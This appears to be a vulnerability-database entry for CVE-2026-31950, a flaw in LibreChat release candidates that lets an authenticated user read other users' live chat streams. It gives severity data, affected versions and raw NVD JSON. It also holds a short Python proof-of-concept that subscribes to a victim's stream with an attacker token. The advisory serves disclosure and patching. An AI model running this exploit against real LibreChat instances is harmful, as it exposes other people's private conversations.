Security Vulnerability Report
中文
CVE-2026-31950 CVSS 5.3 MEDIUM

CVE-2026-31950

Published: 2026-03-27 20:16:30
Last Modified: 2026-03-30 20:32:17

Description

LibreChat is a ChatGPT clone with additional features. In versions 0.8.2-rc2 through 0.8.2-rc3, the SSE streaming endpoint `/api/agents/chat/stream/:streamId` does not verify that the requesting user owns the stream. Any authenticated user who obtains or guesses a valid stream ID can subscribe and read another user's real-time chat content, including messages, AI responses, and tool invocations. Version 0.8.2 patches the issue.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:librechat:librechat:0.8.2:rc2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:librechat:librechat:0.8.2:rc3:*:*:*:*:*:* - VULNERABLE
LibreChat 0.8.2-rc2
LibreChat 0.8.2-rc3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Exploit for CVE-2026-31950: LibreChat IDOR in Stream Endpoint # This script demonstrates how an authenticated user can access another user's chat stream. def exploit(target_url, victim_stream_id, attacker_token): # Construct the malicious URL stream_url = f"{target_url}/api/agents/chat/stream/{victim_stream_id}" headers = { "Authorization": f"Bearer {attacker_token}", "Accept": "text/event-stream" } print(f"[*] Attempting to subscribe to stream ID: {victim_stream_id}") try: # Send the request with streaming enabled response = requests.get(stream_url, headers=headers, stream=True) if response.status_code == 200: print("[+] Connection established. Receiving data...") for line in response.iter_lines(): if line: decoded_line = line.decode('utf-8') print(decoded_line) else: print(f"[-] Failed to connect. Status Code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": # Configuration TARGET = "http://localhost:3080" # Replace with actual target STREAM_ID = "guessable-stream-id-123" # Victim's stream ID TOKEN = "attacker_jwt_token_here" # Attacker's valid session token exploit(TARGET, STREAM_ID, TOKEN)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31950", "sourceIdentifier": "[email protected]", "published": "2026-03-27T20:16:30.217", "lastModified": "2026-03-30T20:32:16.933", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LibreChat is a ChatGPT clone with additional features. In versions 0.8.2-rc2 through 0.8.2-rc3, the SSE streaming endpoint `/api/agents/chat/stream/:streamId` does not verify that the requesting user owns the stream. Any authenticated user who obtains or guesses a valid stream ID can subscribe and read another user's real-time chat content, including messages, AI responses, and tool invocations. Version 0.8.2 patches the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-284"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:librechat:librechat:0.8.2:rc2:*:*:*:*:*:*", "matchCriteriaId": "21865C8B-C628-4275-A552-89F64EF22918"}, {"vulnerable": true, "criteria": "cpe:2.3:a:librechat:librechat:0.8.2:rc3:*:*:*:*:*:*", "matchCriteriaId": "47A1B487-1A7B-4E06-8503-56E7D349FAA2"}]}]}], "references": [{"url": "https://github.com/danny-avila/LibreChat/security/advisories/GHSA-f6rf-vm44-wh5g", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}